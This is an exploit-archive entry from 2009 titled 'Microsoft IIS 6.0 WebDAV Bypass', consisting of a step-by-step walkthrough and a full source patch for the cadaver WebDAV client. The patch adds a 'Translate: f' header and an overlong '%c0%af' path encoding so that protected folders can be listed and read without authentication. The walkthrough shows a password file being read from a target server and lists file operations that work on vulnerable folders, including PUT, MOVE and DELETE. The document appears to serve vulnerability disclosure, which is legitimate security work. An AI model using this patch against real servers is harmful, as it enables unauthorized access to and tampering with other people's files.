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Microsoft IIS 6.0 WebDAV Bypass

🗓️ 21 May 2009 00:00:00Reported by Andrew OrrType 
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Microsoft IIS 6.0 WebDAV Bypass with Patched Cadave

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`# Blog with a detailed description:  
# http://www.skullsecurity.org/blog/?p=285  
#   
# And the patch itself:  
# http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch  
#  
# > mkdir cadaver-h4x  
# > cd cadaver-h4x  
# > wget http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch  
# --snip--  
# > wget http://www.webdav.org/cadaver/cadaver-0.23.2.tar.gz  
# --snip--  
# > tar xzvf cadaver-0.23.2.tar.gz  
# --snip--  
# > cd cadaver-0.23.2/  
# > patch -p1 < ../cadaver-0.23.2-h4x.patch  
# patching file lib/neon/ne_basic.c  
# patching file lib/neon/ne_request.c  
# patching file lib/neon/ne_uri.c  
# > ./configure  
# --snip--  
# > make  
# --snip--  
#  
# Now we should have a patched, compiled version of cadaver, so start it  
# up with the server that was identified as having a vulnerable folder  
# earlier:  
#  
# > ./cadaver xxx.xxx.xxx.xxx  
#  
# This should drop you to a “dav:/>” prompt. Now just cd into the  
# vulnerable folder and check out what’s there:  
#   
# dav:/> cd secret  
# dav:/secret/> ls  
# Listing collection `/secret/': succeeded.  
# password.txt 7 May 19 10:40  
# dav:/secret/> cat password.txt  
# Displaying `/secret/password.txt':  
# ron$pr0ns  
# dav:/secret/>  
#  
# Here’s a list of commands that I’ve tested that work with the patched  
# cadaver on a vulnerable folder:  
# * CD  
# * LS  
# * MOVE  
# * PUT  
# * GET  
# * CAT  
# * DELETE  
  
diff -rub cadaver-0.23.2/lib/neon/ne_basic.c cadaver-0.23.2-h4x/lib/neon/ne_basic.c  
--- cadaver-0.23.2/lib/neon/ne_basic.c 2008-02-07 16:22:07.000000000 -0600  
+++ cadaver-0.23.2-h4x/lib/neon/ne_basic.c 2009-05-20 16:13:46.000000000 -0500  
@@ -402,7 +402,7 @@  
value = "infinity";  
break;  
}  
- ne_add_request_header(req, "Depth", value);  
+ ne_add_request_header(req, "Depth", "1");  
}  
  
static int copy_or_move(ne_session *sess, int is_move, int overwrite,  
diff -rub cadaver-0.23.2/lib/neon/ne_request.c cadaver-0.23.2-h4x/lib/neon/ne_request.c  
--- cadaver-0.23.2/lib/neon/ne_request.c 2008-01-30 05:35:52.000000000 -0600  
+++ cadaver-0.23.2-h4x/lib/neon/ne_request.c 2009-05-20 16:35:46.000000000 -0500  
@@ -405,6 +405,7 @@  
"Connection: TE" EOL  
"TE: trailers" EOL);  
}  
+ ne_buffer_czappend(req->headers, "Translate: f" EOL);  
}  
  
int ne_accept_always(void *userdata, ne_request *req, const ne_status *st)  
@@ -420,6 +421,7 @@  
ne_request *ne_request_create(ne_session *sess,  
const char *method, const char *path)   
{  
+ char *path2 = ne_calloc(strlen(path)+7);  
ne_request *req = ne_calloc(sizeof *req);  
  
req->session = sess;  
@@ -435,13 +437,18 @@  
req->method = ne_strdup(method);  
req->method_is_head = (strcmp(method, "HEAD") == 0);  
  
+ if(strlen(path)>2)  
+ sprintf(path2, "%c%c%%c0%%af%s", path[0], path[1], path+2);  
+ else  
+ path2 = path;  
+  
/* Only use an absoluteURI here when absolutely necessary: some  
* servers can't parse them. */  
- if (req->session->use_proxy && !req->session->use_ssl && path[0] == '/')  
+ if (req->session->use_proxy && !req->session->use_ssl && path2[0] == '/')  
req->uri = ne_concat(req->session->scheme, "://",   
- req->session->server.hostport, path, NULL);  
+ req->session->server.hostport, path2, NULL);  
else  
- req->uri = ne_strdup(path);  
+ req->uri = ne_strdup(path2);  
  
{  
struct hook *hk;  
diff -rub cadaver-0.23.2/lib/neon/ne_uri.c cadaver-0.23.2-h4x/lib/neon/ne_uri.c  
--- cadaver-0.23.2/lib/neon/ne_uri.c 2007-12-05 05:04:47.000000000 -0600  
+++ cadaver-0.23.2-h4x/lib/neon/ne_uri.c 2009-05-20 16:13:46.000000000 -0500  
@@ -96,7 +96,7 @@  
/* 0xXX x0 x2 x4 x6 x8 xA xC xE */  
/* 0x */ OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT,  
/* 1x */ OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT,  
-/* 2x */ OT, SD, OT, GD, SD, PC, SD, SD, SD, SD, SD, PS, SD, DS, DT, FS,  
+/* 2x */ OT, SD, OT, GD, SD, AL, SD, SD, SD, SD, SD, PS, SD, DS, DT, FS,  
/* 3x */ DG, DG, DG, DG, DG, DG, DG, DG, DG, DG, CL, SD, OT, SD, OT, QU,  
/* 4x */ AT, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL,  
/* 5x */ AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, GD, OT, GD, OT, US,  
  
  
  
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